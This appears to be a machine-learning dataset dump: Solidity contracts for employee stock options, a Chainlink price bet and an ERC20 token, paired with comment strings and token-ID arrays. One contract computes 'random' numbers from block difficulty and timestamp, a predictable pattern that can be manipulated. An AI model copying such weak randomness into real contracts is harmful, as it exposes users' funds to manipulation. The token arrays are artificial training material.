uint32 ct = currentTime();
if (ct > exerciseOptionsDeadline) {
return _logerror(ReturnCodes.TooLate);
}
return exerciseOptionsInternal(ct, msg.sender, msg.sender, !agreeToAcceleratedVestingBonusConditions);
}
function employeeDenyExerciseOptions()
external
onlyESOPConversion
hasEmployee(msg.sender)
isCurrentCode
returns (ReturnCodes)
{
uint32 ct = currentTime();
if (ct > exerciseOptionsDeadline) {
return _logerror(ReturnCodes.TooLate);
}
// burn the options by sending to 0
return exerciseOptionsInternal(ct, msg.sender, address(0), true);
}
function exerciseExpiredEmployeeOptions(address e, bool disableAcceleratedVesting)
external
onlyESOPConversion
onlyCompany
hasEmployee(e)
isCurrentCode
returns (ReturnCodes)
{
// company can convert options for any employee that did not converted (after deadline)
uint32 ct = currentTime();
if (ct <= exerciseOptionsDeadline) {
return _logerror(ReturnCodes.TooEarly);
}
return exerciseOptionsInternal(ct, e, companyAddress, disableAcceleratedVesting);
}
function allowEmployeeMigration(address employee, ESOPMigration migration)
external
onlyESOPOpen
hasEmployee(employee)
onlyCompany
isCurrentCode
returns (ReturnCodes)
{
if (address(migration) == 0)
throw;
// only employed and terminated users may migrate
Employee memory emp = _loademp(employee);
if (emp.state != EmployeeState.Employed && emp.state != EmployeeState.Terminated) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
migrations[employee] = migration; // can be cleared with 0 address
return ReturnCodes.OK;
}
function employeeMigratesToNewESOP(ESOPMigration migration)
external
onlyESOPOpen
hasEmployee(msg.sender)
isCurrentCode
returns (ReturnCodes)
{
// employee may migrate to new ESOP contract with different rules
// if migration not set up by company then throw
if (address(migration) == 0 || migrations[msg.sender] != migration)
throw;
// first give back what you already own
removeEmployeesWithExpiredSignaturesAndReturnFadeout();
// only employed and terminated users may migrate
Employee memory emp = _loademp(msg.sender);
if (emp.state != EmployeeState.Employed && emp.state != EmployeeState.Terminated) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
// with accelerated vesting if possible - take out all possible options
var (pool, extra, _) = optionsCalculator.calculateOptionsComponents(serializeEmployee(emp), currentTime(), 0, false);
delete migrations[msg.sender];
// execute migration procedure
migration.migrate(msg.sender, pool, extra);
// extra options are moved to new contract
totalExtraOptions -= emp.state == EmployeeState.Employed ? emp.extraOptions : extra;
// pool options are moved to new contract and removed from The Pool
// please note that separate Pool will manage migrated options and
// algorithm that returns to pool and distributes will not be used
totalPoolOptions -= emp.state == EmployeeState.Employed ? emp.poolOptions : pool;
// gone from current contract
employees.removeEmployee(msg.sender);
EmployeeMigrated(msg.sender, migration, pool, extra);
return ReturnCodes.OK;
}
function calcEffectiveOptionsForEmployee(address e, uint32 calcAtTime)
public
constant
hasEmployee(e)
isCurrentCode
returns (uint)
{
return optionsCalculator.calculateOptions(employees.getSerializedEmployee(e), calcAtTime, conversionOfferedAt, false);
}
function _logerror(ReturnCodes c) private returns (ReturnCodes) {
ReturnCode(c);
return c;
}
function _loademp(address e) private constant returns (Employee memory) {
return deserializeEmployee(employees.getSerializedEmployee(e));
}
function _saveemp(address e, Employee memory emp) private {
employees.setEmployee(e, emp.issueDate, emp.timeToSign, emp.terminatedAt, emp.fadeoutStarts, emp.poolOptions,
emp.extraOptions, emp.suspendedAt, emp.state);
}
function completeCodeUpdate() public onlyOwner inCodeUpdate {
employees.transferOwnership(msg.sender);
CodeUpdateable.completeCodeUpdate();
}
function()
payable
{
throw;
}
function ESOP(address company, address pRootOfTrust, OptionsCalculator pOptionsCalculator, EmployeesList pEmployeesList) {
//esopState = ESOPState.New; // thats initial value
companyAddress = company;
rootOfTrust = pRootOfTrust;
employees = pEmployeesList;
optionsCalculator = pOptionsCalculator;
}
}
contract OptionsCalculator is Ownable, Destructable, Math, ESOPTypes {
// cliff duration in seconds
uint public cliffPeriod;
// vesting duration in seconds
uint public vestingPeriod;
// maximum promille that can fade out
uint public maxFadeoutPromille;
// minimal options after fadeout
function residualAmountPromille() public constant returns(uint) { return FP_SCALE - maxFadeoutPromille; }
// exit bonus promille
uint public bonusOptionsPromille;
// per mille of unassigned poolOptions that new employee gets
uint public newEmployeePoolPromille;
// options per share
uint public optionsPerShare;
// options strike price
uint constant public STRIKE_PRICE = 1;
// company address
address public companyAddress;
// checks if calculator i initialized
function hasParameters() public constant returns(bool) { return optionsPerShare > 0; }
modifier onlyCompany() {
if (companyAddress != msg.sender)
throw;
_;
}
function calcNewEmployeePoolOptions(uint remainingPoolOptions)
public
constant
returns (uint)
{
return divRound(remainingPoolOptions * newEmployeePoolPromille, FP_SCALE);
}
function calculateVestedOptions(uint t, uint vestingStarts, uint options)
public
constant
returns (uint)
{
if (t <= vestingStarts)
return 0;
// apply vesting
uint effectiveTime = t - vestingStarts;
// if within cliff nothing is due
if (effectiveTime < cliffPeriod)
return 0;
else
return effectiveTime < vestingPeriod ? divRound(options * effectiveTime, vestingPeriod) : options;
}
function applyFadeoutToOptions(uint32 t, uint32 issueDate, uint32 terminatedAt, uint options, uint vestedOptions)
public
constant
returns (uint)
{
if (t < terminatedAt)
return vestedOptions;
uint timefromTermination = t - terminatedAt;
// fadeout duration equals to employment duration
uint employmentPeriod = terminatedAt - issueDate;
// minimum value of options at the end of fadeout, it is a % of all employee's options
uint minFadeValue = divRound(options * (FP_SCALE - maxFadeoutPromille), FP_SCALE);
// however employee cannot have more than options after fadeout than he was vested at termination
if (minFadeValue >= vestedOptions)
return vestedOptions;
return timefromTermination > employmentPeriod ?
minFadeValue :
(minFadeValue + divRound((vestedOptions - minFadeValue) * (employmentPeriod - timefromTermination), employmentPeriod));
}
function calculateOptionsComponents(uint[9] employee, uint32 calcAtTime, uint32 conversionOfferedAt,
bool disableAcceleratedVesting)
public
constant
returns (uint, uint, uint)
{
// returns tuple of (vested pool options, vested extra options, bonus)
Employee memory emp = deserializeEmployee(employee);
// no options for converted options or when esop is not singed
if (emp.state == EmployeeState.OptionsExercised || emp.state == EmployeeState.WaitingForSignature)
return (0,0,0);
// no options when esop is being converted and conversion deadline expired
bool isESOPConverted = conversionOfferedAt > 0 && calcAtTime >= conversionOfferedAt; // this function time-travels
uint issuedOptions = emp.poolOptions + emp.extraOptions;
// employee with no options
if (issuedOptions == 0)
return (0,0,0);
// if emp is terminated but we calc options before term, simulate employed again
if (calcAtTime < emp.terminatedAt && emp.terminatedAt > 0)
emp.state = EmployeeState.Employed;
uint vestedOptions = issuedOptions;
bool accelerateVesting = isESOPConverted && emp.state == EmployeeState.Employed && !disableAcceleratedVesting;
if (!accelerateVesting) {
// choose vesting time
uint32 calcVestingAt = emp.state ==
// if terminated then vesting calculated at termination
EmployeeState.Terminated ? emp.terminatedAt :
// if employee is supended then compute vesting at suspension time
(emp.suspendedAt > 0 && emp.suspendedAt < calcAtTime ? emp.suspendedAt :
// if conversion offer then vesting calucated at time the offer was made
conversionOfferedAt > 0 ? conversionOfferedAt :
// otherwise use current time
calcAtTime);
vestedOptions = calculateVestedOptions(calcVestingAt, emp.issueDate, issuedOptions);
}
// calc fadeout for terminated employees
if (emp.state == EmployeeState.Terminated) {
// use conversion event time to compute fadeout to stop fadeout on conversion IF not after conversion date
vestedOptions = applyFadeoutToOptions(isESOPConverted ? conversionOfferedAt : calcAtTime,
emp.issueDate, emp.terminatedAt, issuedOptions, vestedOptions);
}
var (vestedPoolOptions, vestedExtraOptions) = extractVestedOptionsComponents(emp.poolOptions, emp.extraOptions, vestedOptions);
// if (vestedPoolOptions + vestedExtraOptions != vestedOptions) throw;
return (vestedPoolOptions, vestedExtraOptions,
accelerateVesting ? divRound(vestedPoolOptions*bonusOptionsPromille, FP_SCALE) : 0 );
}
function calculateOptions(uint[9] employee, uint32 calcAtTime, uint32 conversionOfferedAt, bool disableAcceleratedVesting)
public
constant
returns (uint)
{
var (vestedPoolOptions, vestedExtraOptions, bonus) = calculateOptionsComponents(employee, calcAtTime,
conversionOfferedAt, disableAcceleratedVesting);
return vestedPoolOptions + vestedExtraOptions + bonus;
}
function extractVestedOptionsComponents(uint issuedPoolOptions, uint issuedExtraOptions, uint vestedOptions)
public
constant
returns (uint, uint)
{
// breaks down vested options into pool options and extra options components
if (issuedExtraOptions == 0)
return (vestedOptions, 0);
uint poolOptions = divRound(issuedPoolOptions*vestedOptions, issuedPoolOptions + issuedExtraOptions);
return (poolOptions, vestedOptions - poolOptions);
}
function calculateFadeoutToPool(uint32 t, uint[9] employee)
public
constant
returns (uint, uint)
{
Employee memory emp = deserializeEmployee(employee);
uint vestedOptions = calculateVestedOptions(emp.terminatedAt, emp.issueDate, emp.poolOptions);
uint returnedPoolOptions = applyFadeoutToOptions(emp.fadeoutStarts, emp.issueDate, emp.terminatedAt, emp.poolOptions, vestedOptions) -
applyFadeoutToOptions(t, emp.issueDate, emp.terminatedAt, emp.poolOptions, vestedOptions);
uint vestedExtraOptions = calculateVestedOptions(emp.terminatedAt, emp.issueDate, emp.extraOptions);
uint returnedExtraOptions = applyFadeoutToOptions(emp.fadeoutStarts, emp.issueDate, emp.terminatedAt, emp.extraOptions, vestedExtraOptions) -
applyFadeoutToOptions(t, emp.issueDate, emp.terminatedAt, emp.extraOptions, vestedExtraOptions);
return (returnedPoolOptions, returnedExtraOptions);
}
function simulateOptions(uint32 issueDate, uint32 terminatedAt, uint32 poolOptions,
uint32 extraOptions, uint32 suspendedAt, uint8 employeeState, uint32 calcAtTime)
public
constant
returns (uint)
{
Employee memory emp = Employee({issueDate: issueDate, terminatedAt: terminatedAt,
poolOptions: poolOptions, extraOptions: extraOptions, state: EmployeeState(employeeState),
timeToSign: issueDate+2 weeks, fadeoutStarts: terminatedAt, suspendedAt: suspendedAt,
idx:1});
return calculateOptions(serializeEmployee(emp), calcAtTime, 0, false);
}
function setParameters(uint32 pCliffPeriod, uint32 pVestingPeriod, uint32 pResidualAmountPromille,
uint32 pBonusOptionsPromille, uint32 pNewEmployeePoolPromille, uint32 pOptionsPerShare)
external
onlyCompany
{
if (pResidualAmountPromille > FP_SCALE || pBonusOptionsPromille > FP_SCALE || pNewEmployeePoolPromille > FP_SCALE
|| pOptionsPerShare == 0)
throw;
if (pCliffPeriod > pVestingPeriod)
throw;
// initialization cannot be called for a second time
if (hasParameters())
throw;
cliffPeriod = pCliffPeriod;
vestingPeriod = pVestingPeriod;
maxFadeoutPromille = FP_SCALE - pResidualAmountPromille;
bonusOptionsPromille = pBonusOptionsPromille;
newEmployeePoolPromille = pNewEmployeePoolPromille;
optionsPerShare = pOptionsPerShare;
}
function OptionsCalculator(address pCompanyAddress) {
companyAddress = pCompanyAddress;
}
}
contract ProceedsOptionsConverter is Ownable, ERC20OptionsConverter {
mapping (address => uint) internal withdrawals;
uint[] internal payouts;
function makePayout() converted payable onlyOwner public {
// it does not make sense to distribute less than ether
if (msg.value < 1 ether)
throw;
payouts.push(msg.value);
}
function withdraw() converted public returns (uint) {
// withdraw for msg.sender
uint balance = balanceOf(msg.sender);
if (balance == 0)
return 0;
uint paymentId = withdrawals[msg.sender];
// if all payouts for given token holder executed then exit
if (paymentId == payouts.length)
return 0;
uint payout = 0;
for (uint i = paymentId; i<payouts.length; i++) {
// it is safe to make payouts pro-rata: (1) token supply will not change - check converted/conversion modifiers
// -- (2) balances will not change: check transfer override which limits transfer between accounts
// NOTE: safeMul throws on overflow, can lock users out of their withdrawals if balance is very high
// @remco I know. any suggestions? expression below gives most precision
uint thisPayout = divRound(safeMul(payouts[i], balance), totalSupply);
payout += thisPayout;
}
// change now to prevent re-entry (not necessary due to low send() gas limit)
withdrawals[msg.sender] = payouts.length;
if (payout > 0) {
// now modify payout within 1000 weis as we had rounding errors coming from pro-rata amounts
// @remco maximum rounding error is (num_employees * num_payments) / 2 with the mean 0
// --- 1000 wei is still nothing, please explain me what problem you see here
if ( absDiff(this.balance, payout) < 1000 wei )
payout = this.balance; // send all
//if(!msg.sender.call.value(payout)()) // re entry test
// throw;
if (!msg.sender.send(payout))
throw;
}
return payout;
}
function transfer(address _to, uint _value) public converted {
// if anything was withdrawn then block transfer to prevent multiple withdrawals
// todo: we could allow transfer to new account (no token balance)
// todo: we could allow transfer between account that fully withdrawn (but what's the point? -token has 0 value then)
// todo: there are a few other edge cases where there's transfer and no double spending
if (withdrawals[_to] > 0 || withdrawals[msg.sender] > 0)
throw;
ERC20OptionsConverter.transfer(_to, _value);
}
function ProceedsOptionsConverter(address esop, uint32 exerciseDeadline, uint32 conversionDeadline)
ERC20OptionsConverter(esop, exerciseDeadline, conversionDeadline)
{
}
}
contract RoT is Ownable {
address public ESOPAddress;
event ESOPAndCompanySet(address ESOPAddress, address companyAddress);
function setESOP(address ESOP, address company) public onlyOwner {
// owner sets ESOP and company only once then passes ownership to company
// initially owner is a developer/admin
ESOPAddress = ESOP;
transferOwnership(company);
ESOPAndCompanySet(ESOP, company);
}
function killOnUnsupportedFork() public onlyOwner {
// this method may only be called by company on unsupported forks
delete ESOPAddress;
selfdestruct(owner);
}
}
| address(0) is deleted employee
| if (ea != 0) { | 5,497,837 | [
1,
2867,
12,
20,
13,
353,
4282,
24539,
1340,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1377,
309,
261,
24852,
480,
374,
13,
288,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.6.0;
//import "https://github.com/smartcontractkit/chainlink/evm-contracts/src/v0.6/ChainlinkClient.sol";
import "../chainlink-develop/evm-contracts/src/v0.6/ChainlinkClient.sol";
import "../chainlink-develop/evm-contracts/src/v0.6/vendor/Ownable.sol";
contract BetResult is ChainlinkClient, Ownable {
address private constant ORACLE =
0x83dA1beEb89Ffaf56d0B7C50aFB0A66Fb4DF8cB1;
string private constant JOB_ID = "93547cb3c6784ec08a366be6211caa24";
uint256 private constant ORACLE_PAYMENT = (1 * LINK) / 10;
uint256 public currentPrice;
event RequestEthereumPriceFulfilled(
bytes32 indexed requestId,
uint256 indexed price
);
constructor() public Ownable() {
//setPublicChainlinkToken();
}
function requestEthereumPrice() public onlyOwner {
setPublicChainlinkToken();
Chainlink.Request memory req =
buildChainlinkRequest(
stringToBytes32(JOB_ID),
address(this),
this.fulfillEthereumPrice.selector
);
sendChainlinkRequestTo(ORACLE, req, ORACLE_PAYMENT);
}
function fulfillEthereumPrice(bytes32 _requestId, uint256 _price)
public
recordChainlinkFulfillment(_requestId)
{
setPublicChainlinkToken();
emit RequestEthereumPriceFulfilled(_requestId, _price);
currentPrice = _price;
}
function withdrawLink() public onlyOwner {
LinkTokenInterface link = LinkTokenInterface(chainlinkTokenAddress());
require(
link.transfer(msg.sender, link.balanceOf(address(this))),
"Unable to transfer"
);
}
function stringToBytes32(string memory source)
private
pure
returns (bytes32 result)
{
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
// solhint-disable-line no-inline-assembly
result := mload(add(source, 32))
}
}
function AmountOne() public view returns (uint256) {
return 123;
}
// function rand(uint256 _length) public view returns (uint256) {
// return uint256(uint256(keccak256(block.timestamp, block.difficulty))%_length);
// }
function rand(uint256 _length) public view returns(uint256) {
uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp)));
return random%_length;
}
function GetChainLinkResulet() public view returns (uint256) {
//requestEthereumPrice();
return currentPrice + rand(256);
}
}
| import "https:github.com/smartcontractkit/chainlink/evm-contracts/src/v0.6/ChainlinkClient.sol"; | import "../chainlink-develop/evm-contracts/src/v0.6/ChainlinkClient.sol";
| 6,449,126 | [
1,
5666,
315,
4528,
30,
6662,
18,
832,
19,
26416,
16351,
8691,
19,
5639,
1232,
19,
73,
3489,
17,
16351,
87,
19,
4816,
19,
90,
20,
18,
26,
19,
3893,
1232,
1227,
18,
18281,
14432,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5666,
315,
6216,
5639,
1232,
17,
323,
8250,
19,
73,
3489,
17,
16351,
87,
19,
4816,
19,
90,
20,
18,
26,
19,
3893,
1232,
1227,
18,
18281,
14432,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
contract ERC20Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Owned {
/// @dev `owner` is the only address that can call a function with this
/// modifier
modifier onlyOwner() {
require(msg.sender == owner) ;
_;
}
address public owner;
/// @notice The Constructor assigns the message sender to be `owner`
function Owned() {
owner = msg.sender;
}
address public newOwner;
/// @notice `owner` can step down and assign some other address to this role
/// @param _newOwner The address of the new owner. 0x0 can be used to create
/// an unowned neutral vault, however that cannot be undone
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract StandardToken is ERC20Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require ((_value==0) || (allowed[msg.sender][_spender] ==0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract IIPToken is StandardToken, Owned {
// metadata
string public constant name = "Innovation & Intellectual Property";
string public constant symbol = "IIP";
string public version = "1.0";
uint256 public constant decimals = 8;
bool public disabled = false;
uint256 public constant MILLION = (10**6 * 10**decimals);
// constructor
function IIPToken(uint256 _amount) {
totalSupply = 5000 * MILLION;
balances[msg.sender] = _amount;
}
function getIIPTotalSupply() external constant returns(uint256) {
return totalSupply;
}
function setDisabled(bool flag) external onlyOwner {
disabled = flag;
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(!disabled);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(!disabled);
return super.transferFrom(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
require(!disabled);
balances[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, owner, mintedAmount);
Transfer(owner, target, mintedAmount);
}
function kill() external onlyOwner {
selfdestruct(owner);
}
} | @notice `owner` can step down and assign some other address to this role @param _newOwner The address of the new owner. 0x0 can be used to create an unowned neutral vault, however that cannot be undone | function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
| 585,728 | [
1,
68,
8443,
68,
848,
2235,
2588,
471,
2683,
2690,
1308,
1758,
358,
333,
2478,
225,
389,
2704,
5541,
1021,
1758,
434,
326,
394,
3410,
18,
374,
92,
20,
848,
506,
1399,
358,
752,
225,
392,
640,
995,
329,
22403,
287,
9229,
16,
14025,
716,
2780,
506,
640,
8734,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2549,
5541,
12,
2867,
389,
2704,
5541,
13,
1338,
5541,
288,
203,
3639,
394,
5541,
273,
389,
2704,
5541,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
